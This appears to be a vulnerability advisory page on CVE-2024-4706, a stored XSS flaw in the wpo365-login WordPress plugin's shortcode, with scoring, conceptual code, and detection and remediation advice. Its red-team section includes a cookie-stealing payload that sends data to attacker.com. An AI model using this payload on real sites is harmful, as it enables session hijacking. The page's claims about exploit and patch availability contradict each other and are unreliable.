CVE-2024-4706
Executive Summary
CVE-2024-4706 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress + Microsoft Office 365 / Azure AD | LOGIN plugin (wpo365-login) for WordPress, affecting all versions up to and including 27.2. The flaw resides in the plugin's pintra shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability is classified as a WordPress ecosystem issue, as it is a plugin-specific flaw. No public exploit code or Nuclei template is currently available, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as details become public.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in an NPM, PyPI, Go, or Ruby package; it is a WordPress plugin. However, the plugin is distributed via the WordPress plugin repository and may be bundled in managed WordPress environments. Organizations using this plugin should treat it as a supply chain risk and verify the integrity of their plugin installations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – Attacker needs Contributor-level access or higher.
- User Interaction: None (UI:N) – The victim does not need to perform any action beyond visiting the page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
- Integrity Impact: Low (I:L) – Limited modification of content possible.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (e.g., stealing admin cookies) makes this a serious concern for WordPress sites using this plugin.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the pintra shortcode. The plugin registers a shortcode that renders user-provided attributes (e.g., [pintra attribute="value"]). The code fails to sanitize or escape these attributes before outputting them into the page HTML. An attacker with Contributor-level access can create or edit a post/page containing a malicious shortcode like:
[pintra onmouseover="alert('XSS')"]
When the page is rendered, the onmouseover attribute is injected into the DOM. Any user who hovers over the affected element triggers the JavaScript. More sophisticated payloads can steal cookies, redirect users, or perform actions on behalf of the victim.
The vulnerability is stored in the database, meaning it persists until the malicious content is removed. This makes it particularly dangerous for multi-author WordPress sites.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the shortcode handler. A typical vulnerable implementation might look like:
// Vulnerable code (conceptual)
function pintra_shortcode($atts) {
$output = '<div class="pintra" ' . $atts['style'] . '>';
// ... rest of shortcode
return $output;
}
add_shortcode('pintra', 'pintra_shortcode');
A patched version would properly escape attributes using WordPress functions like esc_attr():
// Patched code (conceptual)
function pintra_shortcode($atts) {
$style = isset($atts['style']) ? esc_attr($atts['style']) : '';
$output = '<div class="pintra" style="' . $style . '">';
// ... rest of shortcode
return $output;
}
add_shortcode('pintra', 'pintra_shortcode');
Until an official patch is released, users must manually apply input validation and output escaping.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with wpo365-login plugin <= 27.2
- Attacker account with Contributor-level access or higher
Step-by-step exploitation:
- Log in as a Contributor.
- Create a new post or page.
- Insert the following shortcode with a malicious payload:
[pintra onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
- Publish the post.
- Any user (including admins) who visits the page and hovers over the injected element will have their cookies sent to the attacker's server.
Alternative payloads:
- Steal admin credentials via fake login form.
- Redirect to phishing page.
- Deface the site.
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts/pages containing the
[pintrashortcode with suspicious attributes (e.g.,onmouseover,onclick,srcwith external URLs). - Use WAF rules to block common XSS patterns in shortcode attributes.
- Review user activity logs for unusual shortcode usage.
Prevention:
- Disable the
pintrashortcode via functions.php:remove_shortcode('pintra'); - Restrict Contributor-level access to trusted users only.
- Apply a virtual patch using a WAF (e.g., ModSecurity rule to block
on*attributes in shortcodes).
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wpo365-login/wpo365-login.php(or relevant shortcode handler file) - Database: Posts/pages containing
[pintrashortcode with event handler attributes (e.g.,onmouseover,onclick) - Network: Outbound requests to attacker-controlled domains from WordPress admin pages
- Logs: Unusual shortcode usage in post revisions or activity logs
Detection Engineering
YARA Rule
Sigma Rule
Suricata Rule
Remediation & Mitigation
Immediate Actions:
- Disable the shortcode: Add
remove_shortcode('pintra');to your theme'sfunctions.phpfile. - Restrict user roles: Limit Contributor-level access to only trusted users.
- Audit existing content: Search for any posts/pages containing
[pintraand remove malicious instances.
Long-term Fix:
- Monitor the plugin vendor (Wpo365) for an official patch.
- Apply a virtual patch via WAF to block XSS patterns in shortcode attributes.
- Consider replacing the plugin with an alternative if no patch is released.
Workaround:
- Use a security plugin like Wordfence to add firewall rules that block common XSS payloads.
Valters IT
Security researchers use these queries on Shodan.io to find vulnerable systems globally.
Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.